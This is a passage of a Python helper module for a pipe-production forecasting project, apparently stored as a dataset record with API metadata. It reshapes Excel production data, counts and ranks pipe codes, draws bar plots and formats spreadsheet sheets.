df = df.rename(columns={\"index\": \"Date\"}, inplace=False).copy()\n\n    # if there are NaN values, drop those columns\n    df = df.dropna(axis=1, inplace=False)\n\n    # drop all_in_one.columns[1::2] and make it a single column\n    pipes = df.iloc[:, 1]\n    df = df.drop(df.columns[1::2], axis=1, inplace=False)\n\n    # # insert the column as the first column\n    df.insert(1, 'Pipe TTNr', pipes)\n\n    # drop the first column\n    df = df.drop(df.columns[0], axis=1, inplace=False)\n\n    # drop the second level of the columns\n    df.columns = df.columns.droplevel(1)\n\n    # transpose the dataframe\n    df_T = df.T\n\n    # make the first row the column names\n    df_T.columns = df_T.iloc[0]\n    df_T = df_T.drop(df_T.index[0])\n\n    # convert all the column names to str\n    df_T.columns = df_T.columns.astype(int).astype(str)\n\n    return df_T\n\n\ndef get_occurrences_per_file(df: pd.DataFrame) -> pd.DataFrame:\n    \"\"\"\n    Gets the occurrences of each pipe in each file\n\n    Args:\n        df: The dataframe to be checked for occurrences\n\n    Returns:\n        A dataframe with the occurrences of each pipe in each file\n    \"\"\"\n\n    pipes_dict = {}\n\n    for i in range(0, len(df.columns), 2):\n        temp = df.copy().iloc[:, i:i + 2]\n        pipes_dict[temp.columns[0][0]] = temp[(temp.columns[0][0], 'Pipe TTNr')].unique()\n\n    # count the number of occurrences for each pipe and which weeks it occurs\n    pipe_occurrences, week_occurrences = {}, {}\n\n    for key, value in pipes_dict.items():\n        for pipe in value:\n            if pipe in pipe_occurrences.keys():\n                pipe_occurrences[pipe] += 1\n                week_occurrences[pipe].append(key)\n            else:\n                pipe_occurrences[pipe] = 1\n                week_occurrences[pipe] = [key]\n\n    merged_dict = {k: [pipe_occurrences[k], week_occurrences[k]] for k in pipe_occurrences.keys()}\n\n    # create a dataframe from the dictionary\n    pipe_occurrences_df = pd.DataFrame.from_dict(merged_dict, orient='index', columns=['Occurrences', 'Weeks'])\n    pipe_occurrences_df = pipe_occurrences_df.sort_values(by=\"Occurrences\", ascending=False, inplace=False)\n\n    return pipe_occurrences_df\n\n\ndef get_occurrences_with_threshold(df: pd.DataFrame,\n                                   threshold: int = 50) -> list[int]:\n    \"\"\"\n    Gets the occurrences of each pipe in each file with a threshold\n\n    Args:\n        df: The dataframe to be checked for an occurrence\n        threshold: The threshold for the occurrences (default: 50)\n\n    Returns:\n        A dataframe with the occurrences of each pipe in each file with a threshold\n    \"\"\"\n    pipes_in_threshold_df = df.loc[df[\"Occurrences\"] >= threshold, :].sort_values(by=\"Occurrences\",\n                                                                                  ascending=False)\n\n    pipes_in_threshold_df = pipes_in_threshold_df.reset_index(inplace=False).copy()\n    pipes_in_threshold_df = pipes_in_threshold_df.rename(columns={\"index\": \"Pipe TTNr\"}, inplace=False).copy()\n\n    pipes_in_threshold_df = pipes_in_threshold_df['Pipe TTNr'].values\n    pipes_in_threshold_df = [int(x) for x in pipes_in_threshold_df]\n\n    return pipes_in_threshold_df\n\n\ndef find_common_pipes(file_index: int,\n                      file_year: int,\n                      top_level_df: pd.DataFrame,\n                      file_dict: dict[int, list[str]],\n                      master_dir: str,\n                      threshold: int = 20\n                      ) -> pd.DataFrame:\n    \"\"\"\n    Finds the most produced pipes for the selected production plan\n\n    Args:\n        file_index: The file index (4, 9, 27, 36, 41,...)\n        file_year: The file year (2021, 2022, 2023)\n        top_level_df: The top level dataframe\n        file_dict: The file dictionary\n        master_dir: The master directory\n        threshold: The number of pipes to be selected\n\n    Returns:\n        The top level dataframe with the most produced pipes for the selected production plan\n    \"\"\"\n    df = pd.read_excel(f'{master_dir}/{str(file_year)}/{file_dict[file_year][file_index]}', sheet_name='Pivot')\n\n    df.iloc[:, 3:26] = df.iloc[:, 3:26].apply(pd.to_numeric, errors='coerce')\n\n    # combine the rows with the same pipe code\n    df = df.groupby(df.iloc[:, 1]).sum()\n\n    df['Total'] = df.iloc[:, 3:26].sum(axis=1)\n    df.loc[\"Hat\", \"Total\"] = 0\n\n    # sort the dataframe by the Total column\n    df.sort_values(by=['Total'], inplace=True, ascending=False)\n\n    # transpose the dataframe and select the top 20 pipes\n    top_20_pipes = df.iloc[:threshold, [1, -1]].T\n\n    # replace the first row with the column values\n    top_20_pipes.iloc[0, :], top_20_pipes.columns = pd.Series(\n        map(str, top_20_pipes.columns)), list(range(1, threshold + 1))\n\n    # rename the columns\n    top_20_pipes.index = pd.Index(['Pipe TTNr', 'Total'])\n\n    # top_20_pipes.iloc[0, :] = top_20_pipes.iloc[0, :].astype(int)\n\n    # insert an empty column to first position\n    top_20_pipes.insert(0, \"X\", file_dict[file_year][file_index].split(\"_\")[0] + f\"_{file_year}\")\n\n    # add the top 20 pipes to the top_level_df\n    top_level_df = pd.concat([top_level_df, top_20_pipes], axis=0)\n\n    return top_level_df\n\n\ndef configure_matplotlib(labelsize: int = 18,\n                         titlesize: int = 22,\n                         titlepad: int = 25,\n                         labelpad: int = 15,\n                         tick_major_pad: int = 10,\n                         dpi: int = 200,\n                         platform: str = 'vscode') -> None:\n    \"\"\"\n    Configures matplotlib to use the fivethirtyeight style and the Ubuntu font.\n    Args:\n        labelsize: The size of the axis labels\n        titlesize: The size of the title\n        titlepad: The padding of the title\n        labelpad: The padding of the axis labels\n        tick_major_pad: The padding of the major ticks\n        dpi: The resolution of the figure\n        platform: The platform on which the code is run (default: vscode)\n    \"\"\"\n    plt.rcParams['font.family'] = 'Arial'\n    plt.style.use('fivethirtyeight')\n    plt.rcParams['font.serif'] = 'Ubuntu'\n    plt.rcParams['font.monospace'] = 'Ubuntu Mono'\n    plt.rcParams['axes.labelweight'] = 'bold'\n    plt.rcParams['axes.labelsize'] = labelsize\n    plt.rcParams['axes.labelpad'] = labelpad\n    plt.rcParams['axes.titlesize'] = titlesize\n    plt.rcParams['axes.titleweight'] = 'bold'\n    plt.rcParams['axes.titlepad'] = titlepad\n    plt.rcParams['figure.dpi'] = dpi\n    plt.rcParams['xtick.major.pad'] = tick_major_pad\n    plt.rcParams['ytick.major.pad'] = tick_major_pad\n\n    # change the background color of the figure\n    # plt.rcParams['figure.facecolor'] = 'none'\n    # plt.rcParams['axes.facecolor'] = 'none'\n\n    if platform == 'vscode':\n        plt.rcParams.update({\n            \"figure.facecolor\": (0.31, 0.31, 0.31, 0.39),\n            \"figure.edgecolor\": (0.31, 0.31, 0.31, 0),\n            \"axes.facecolor\": (0.31, 0.31, 0.31, 0),\n            \"axes.edgecolor\": (0.31, 0.31, 0.31, 0.39),\n            \"text.color\": \"white\",\n            \"axes.labelcolor\": \"white\",\n            \"axes.titlecolor\": \"white\",\n        })\n    elif platform == 'pycharm':\n        plt.rcParams.update({\n            \"figure.facecolor\": (0.31, 0.31, 0.31, 0),\n            \"figure.edgecolor\": (0.31, 0.31, 0.31, 0.39),\n            \"axes.facecolor\": (0.31, 0.31, 0.39, 0),\n            \"axes.edgecolor\": (0.31, 0.31, 0.31, 0.39),\n            \"text.color\": \"white\",\n            \"axes.labelcolor\": \"white\",\n            \"axes.titlecolor\": (0, 0, 0, 0.9),\n        })\n\n    # remove the top and right spines\n    plt.rcParams['axes.spines.top'] = False\n    plt.rcParams['axes.spines.right'] = False\n\n    # change the color of the grid\n    plt.rcParams['axes.grid'] = False\n\n\ndef rgb_to_hex(r, g, b) -> str:\n    \"\"\"\n    Converts an RGB color to hex. (255,255,255 -> FFFFFF)\n    Args:\n        r: The red value\n        g: The green value\n        b: The blue value\n\n    Returns:\n        The hex string\n    \"\"\"\n    return '#{:02x}{:02x}{:02x}'.format(r, g, b)\n\n\ndef hex_to_RGB(hex_str) -> list[int]:\n    \"\"\"\n    Converts a hex string to RGB. (FFFFFF -> [255,255,255])\n    Args:\n        hex_str: The hex string\n\n    Returns:\n        A list of RGB values\n    \"\"\"\n    return [int(hex_str[x:x + 2], 16) for x in range(1, 6, 2)]\n\n\ndef get_color_gradient(c1, c2, n) -> list[str]:\n    \"\"\"\n    Given two hex colors, returns a color gradient\n    with n colors.\n\n    Args:\n        c1: The first color (hex)\n        c2: The second color (hex)\n        n: The number of colors in the gradient\n\n    Returns:\n        A list of hex colors\n    \"\"\"\n    assert n > 1\n    c1_rgb = np.array(hex_to_RGB(c1)) / 255\n    c2_rgb = np.array(hex_to_RGB(c2)) / 255\n    mix_pcts = [x / (n - 1) for x in range(n)]\n    rgb_colors = [((1 - mix) * c1_rgb + (mix * c2_rgb)) for mix in mix_pcts]\n    return [\"#\" + \"\".join([format(int(round(val * 255)), \"02x\") for val in item]) for item in rgb_colors]\n\n\ndef create_bar_plot(df: pd.DataFrame,\n                    selected_year: int,\n                    file_index: str,\n                    ascending: bool = True,\n                    threshold: int = 20,\n                    figsize: tuple[int, int] = (20, 10)) -> None:\n    \"\"\"\n    Creates a bar plot for the selected year and file index\n\n    Args:\n        df: The dataframe that contains the data (exp_df)\n        selected_year: The selected year (2021, 2022, 2023)\n        file_index: The file index (4, 9, 27, 36, 41,...)\n        ascending: If the plot should be sorted ascending or descending\n        threshold: The number of pipes to be selected\n        figsize: The size of the figure\n    \"\"\"\n    if len(str(file_index)) == 1:\n        file_index = \"0\" + str(file_index)\n\n    selected_file = f'KW{str(file_index)}_{selected_year}'\n\n    if (str(selected_year), selected_file, \"Pipe TTNr\") not in df.columns:\n        print(f\">>> KW{str(file_index)} does not exist for the year {selected_year}!\")\n        return None\n\n    configure_matplotlib()\n    fig, ax = plt.subplots(figsize=figsize)\n\n    # sorted plot\n    sns.barplot(ax=ax,\n                data=df,\n                x=df[(str(selected_year), selected_file, \"Pipe TTNr\")],\n                y=df[(str(selected_year), selected_file, \"Total\")],\n                order=df.sort_values(by=(str(selected_year), selected_file, \"Total\"), ascending=ascending).head(\n                    threshold)[(str(selected_year), selected_file, \"Pipe TTNr\")],\n\n                color=\"blue\",\n                hue_order=df.sort_values(by=(str(selected_year), selected_file, \"Total\"), ascending=ascending).head(\n                    threshold)[(str(selected_year), selected_file, \"Pipe TTNr\")],\n                label=selected_file,\n                errorbar=None,\n                palette=get_color_gradient(\"#1f77b4\", \"#ff7f0e\", threshold))\n\n    sns.despine(fig=fig, ax=ax, top=True, right=True, left=True, bottom=True)\n\n    # rotate the x-ticks\n    plt.xticks(rotation=90)\n\n    # add padding to x-ticks\n    plt.tick_params(axis='x', which='major', pad=10)\n\n    plt.xlabel(\"Pipe TTNr\", labelpad=25)\n    plt.ylabel(\"Total Quantity\", labelpad=25)\n    plt.title(f\"Top {threshold} Pipes in {selected_file}\", pad=25)\n\n    plt.show()\n\n\ndef unique_pipe_bar_plot(pipe_df: pd.DataFrame,\n                         total_quantity_limit: int,\n                         fig_size: tuple = (16, 20),\n                         rotation: str = 'horizontal',\n                         ascending: bool = True,\n                         years=None,\n                         threshold: int = 20) -> None:\n    \"\"\"\n    Creates a bar plot for the unique pipes\n    Args:\n        pipe_df: The dataframe that contains the data (final_df)\n        total_quantity_limit: The minimum total quantity limit\n        fig_size: The figure size\n        rotation: The rotation of the x-axis labels\n        ascending: If the plot should be sorted ascending or descending\n        years: The years to be considered\n        threshold: The number of pipes to be selected\n    \"\"\"\n    if years is None:\n        years = [2022, 2023]\n    configure_matplotlib()\n    fig, ax = plt.subplots(figsize=fig_size)\n\n    if rotation == 'horizontal':\n        # horizontal plot (better with more labels)\n        ax = sns.barplot(y=\"Pipe TTNr\",\n                         x=\"Total\",\n                         data=pipe_df.loc[np.logical_and(pipe_df[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()),\n                                                         pipe_df[\"Total\"] > total_quantity_limit), :].copy(),\n                         order=pipe_df.loc[np.logical_and(pipe_df[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()),\n                                                          pipe_df[\"Total\"] > total_quantity_limit), :].copy(\n\n                         ).sort_values(\n                             by=\"Total\", ascending=ascending).head(threshold)[\"Pipe TTNr\"],\n                         color=\"blue\",\n                         errorbar=None,\n                         palette=get_color_gradient(\"#1f77b4\", \"#ff7f0e\", threshold),\n                         hue_order=pipe_df.loc[np.logical_and(pipe_df[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()),\n                                                              pipe_df[\"Total\"] > total_quantity_limit), :].copy()[\n                             \"Pipe TTNr\"].unique()\n                         )\n\n        plt.ylabel(\"Pipe TTNr\", labelpad=25)\n        plt.xlabel(\"Total Quantity\", labelpad=25)\n\n        # add grid lines\n        ax.grid(axis=\"x\", color=\"black\", linestyle=\"dashed\", linewidth=0.5)\n\n        # add padding to y-ticks\n        plt.tick_params(axis='x', which='major', pad=10)\n    elif rotation == 'vertical':\n        # vertical plot (better with fewer labels)\n        ax = sns.barplot(x=\"Pipe TTNr\",\n                         y=\"Total\",\n                         data=pipe_df.loc[np.logical_and(pipe_df[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()),\n                                                         pipe_df[\"Total\"] > total_quantity_limit), :].copy(),\n                         order=pipe_df.loc[np.logical_and(pipe_df[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()),\n                                                          pipe_df[\"Total\"] > total_quantity_limit), :].copy(\n\n                         ).sort_values(\n                             by=\"Total\", ascending=ascending).head(threshold)[\"Pipe TTNr\"],\n                         color=\"blue\",\n                         errorbar=None,\n                         palette=get_color_gradient(\"#1f77b4\", \"#ff7f0e\", threshold),\n                         hue_order=pipe_df.loc[np.logical_and(pipe_df[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()),\n                                                              pipe_df[\"Total\"] > total_quantity_limit), :].copy()[\n                             \"Pipe TTNr\"].unique()\n                         )\n        plt.xlabel(\"Pipe TTNr\", labelpad=25)\n        plt.ylabel(\"Total Quantity\", labelpad=25)\n\n        # add grid lines\n        ax.grid(axis=\"y\", color=\"black\", linestyle=\"dashed\", linewidth=0.5)\n\n        # add padding to y-ticks\n        plt.tick_params(axis='y', which='major', pad=10)\n    else:\n        raise ValueError(\"rotation must be either 'horizontal' or 'vertical'\")\n\n    sns.despine(fig=fig, ax=ax, top=True, right=True, left=True, bottom=True)\n\n    # rotate the x-ticks\n    plt.xticks(rotation=90, fontsize=12)\n\n    # set the font size of the y-ticks\n    plt.yticks(fontsize=12)\n\n    plt.title(f\"Overall Top Pipes {years[0]}-{years[-1]}\", pad=25)\n\n    plt.show()\n\n\ndef format_general_sheet(file_dir: str) -> None:\n    \"\"\"\n    Format the Excel file. This formatting involves removing the blank rows, setting the column header,\n    setting the column, row width and height and setting the font size and alignment.\n\n    Args:\n        file_dir: The file directory of the Excel file\n    \"\"\"\n    wb = openpyxl.load_workbook(file_dir)\n    if \"General\" in wb.sheetnames:\n        ws = wb[\"General\"]\n    else:\n        print(\">>> The sheet 'General' does not exist!\")\n        return None\n\n    # remove the blank rows\n    ws.delete_rows(3)\n\n    # set the column header\n    ws['A2'] = \"Ranking\"\n\n    # set the column width\n    for i in range(1, ws.max_column + 1):\n        if i % 2 == 0:\n            ws.column_dimensions[get_column_letter(i)].width = 15  # type: ignore\n        elif i % 2 == 1:\n            ws.column_dimensions[get_column_letter(i)].width = 10  # type: ignore\n\n    # set the row height\n    for i in range(1, ws.max_row + 1):\n        ws.row_dimensions[i].height = 20  # type: ignore\n\n    # set the font size and alignment\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).font = Font(size=10)\n            ws.cell(row=i, column=j).alignment = Alignment(horizontal='center', vertical='center')\n\n    # set the column header font size and font bold\n    for i in range(1, ws.max_column + 1):\n        ws.cell(row=1, column=i).font = Font(size=12, bold=True)\n        ws.cell(row=2, column=i).font = Font(size=10, bold=True)\n\n    for i in range(1, ws.max_row + 1):\n        ws.cell(row=i, column=1).font = Font(size=10, bold=True)\n\n    # create the borders\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).border = Border(\n                left=styles.borders.Side(border_style='thin', color='000000'),\n                right=styles.borders.Side(border_style='thin',\n                                          color='000000'),\n                top=styles.borders.Side(border_style='thin', color='000000'),\n                bottom=styles.borders.Side(border_style='thin',\n                                           color='000000'))\n\n    wb.save(file_dir)\n\n\ndef format_experimental_sheet(file_dir: str) -> None:\n    \"\"\"\n    Format the Excel file. This formatting involves removing the blank rows, setting the column header,\n    setting the column, row width and height and setting the font size and alignment.\n\n    Args:\n        file_dir: The file directory of the Excel file\n    \"\"\"\n    wb = openpyxl.load_workbook(file_dir)\n    if \"Experimental\" in wb.sheetnames:\n        ws = wb[\"Experimental\"]\n    else:\n        print(\">>> The sheet 'Experimental' does not exist!\")\n        return None\n\n    # set the column header\n    ws['A1'] = \"File Index\"\n    ws['B1'] = \"Ranking\"\n\n    # set the column width\n    for i in range(2, ws.max_column + 1):\n        ws.column_dimensions[get_column_letter(i)].width = 15  # type: ignore\n\n    # set the column of the file index column\n    ws.column_dimensions[get_column_letter(1)].width = 20  # type: ignore\n\n    # set the row height\n    for i in range(1, ws.max_row + 1):\n        ws.row_dimensions[i].height = 20  # type: ignore\n\n    # set the font size and alignment\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).font = Font(size=10)\n            ws.cell(row=i, column=j).alignment = Alignment(horizontal='center', vertical='center')\n\n    # set the column header font size and font bold\n    for i in range(1, ws.max_column + 1):\n        ws.cell(row=1, column=i).font = Font(size=10, bold=True)\n\n    for i in range(1, ws.max_row + 1):\n        ws.cell(row=i, column=1).font = Font(size=12, bold=True)\n        ws.cell(row=i, column=2).font = Font(size=10, bold=True)\n\n    # create the borders\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).border = Border(\n                left=Side(border_style='thin', color='000000'),\n                right=Side(border_style='thin',\n                           color='000000'),\n                top=Side(border_style='thin', color='000000'),\n                bottom=Side(border_style='thin',\n                            color='000000'))\n\n    wb.save(file_dir)\n\n\ndef create_three_level_index(df: pd.DataFrame) -> list[tuple[str | Any, ...]]:\n    \"\"\"\n    Creates a three-level index for the dataframe\n\n    Args:\n        df: The dataframe that contains the data (exp_df)\n\n    Returns:\n        The three-level index\n    \"\"\"\n    final_columns = []\n\n    for v, i in enumerate(df.columns):\n        if i[0].split(\"_\")[-1] == \"2021\":\n            w = list(i)\n            w.insert(0, \"2021\")\n        elif i[0].split(\"_\")[-1] == \"2022\":\n            w = list(i)\n            w.insert(0, \"2022\")\n        else:\n            w = list(i)\n            w.insert(0, \"2023\")\n        final_columns.append(tuple(w))\n\n    return final_columns\n\n\ndef get_data_files() -> tuple[dict[int, list[str]], str, str]:\n    \"\"\"\n    Gets the data files and the file directory\n\n    Returns:\n        The data files, the file directory and the master directory\n    \"\"\"\n    file_dict = {}\n\n    file_dir = \"/Users/ozansahin/Downloads/master.xlsx\"\n    master_dir = \"/Users/ozansahin/Downloads/New_Converted_Data\"\n\n    for i in [2021, 2022, 2023]:\n        os.chdir(f\"{master_dir}/{i}\")\n        extension = 'xlsx'\n        file_dict[i] = [i for i in glob.glob('*.{}'.format(extension))]\n\n    return file_dict, file_dir, master_dir\n", "repo_name": "sahinozan/Bosch-Forecasting", "sub_path": "code/helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 41086, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "openpyxl.reader.excel.load_workbook", "line_number": 31, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 45, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 49, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 53, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 57, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 61, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 61, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 62, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 63, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pmdarima.arima.auto_arima", "line_number": 118, "usage_type": "call"}, {"api_name": "statsmodels.tsa.arima.model.ARIMA", "line_number": 137, "usage_type": "call"}, {"api_name": "statsmodels.tsa.statespace.sarimax.SARIMAX", "line_number": 141, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 160, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 167, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pandas.date_range", "line_number": 189, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 192, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 198, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 174, "usage_type": "attribute"}, {"api_name": "tensorflow.python.keras.backend.sqrt", "line_number": 204, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.backend", "line_number": 204, "usage_type": "name"}, {"api_name": "tensorflow.python.keras.backend.mean", "line_number": 204, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.backend.square", "line_number": 204, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 207, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 208, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.utils.set_random_seed", "line_number": 225, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 225, "usage_type": "attribute"}, {"api_name": "keras.models.Sequential", "line_number": 228, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 229, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 230, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 234, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 234, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.SGD", "line_number": 239, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 239, "usage_type": "attribute"}, {"api_name": "tensorflow.python.keras.callbacks.ReduceLROnPlateau", "line_number": 243, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.callbacks.ModelCheckpoint", "line_number": 244, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.callbacks.EarlyStopping", "line_number": 248, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.callbacks.EarlyStopping", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 260, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 260, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 219, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 269, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 295, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 273, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 273, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 303, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 323, "usage_type": "call"}, {"api_name": "pandas.MultiIndex.from_product", "line_number": 323, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 323, "usage_type": "attribute"}, {"api_name": "pandas.MultiIndex.from_tuples", "line_number": 339, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 339, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 305, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 345, "usage_type": "attribute"}, {"api_name": "pandas.ExcelWriter", "line_number": 357, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 362, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 373, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 378, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 450, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 462, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 466, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 468, "usage_type": "attribute"}, {"api_name": "pandas.MultiIndex.from_product", "line_number": 496, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 496, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 497, "usage_type": "call"}, {"api_name": "pandas.MultiIndex.from_product", "line_number": 499, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 499, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 500, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 500, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 502, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 507, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 549, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 581, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 581, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 587, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 613, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 632, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 634, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 649, "usage_type": "call"}, {"api_name": "pandas.Index", "line_number": 653, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 661, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 617, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 684, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 684, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 685, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 685, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 685, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 686, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 686, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 687, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 687, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 688, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 688, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 689, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 689, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 690, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 690, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 691, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 691, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 692, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 692, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 693, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 693, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 694, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 694, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 695, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 695, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 696, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 696, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 703, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 703, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 703, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 713, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 713, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 713, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 724, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 724, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 725, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 725, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 728, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 728, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 771, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 772, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 778, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 805, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 805, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 808, "usage_type": 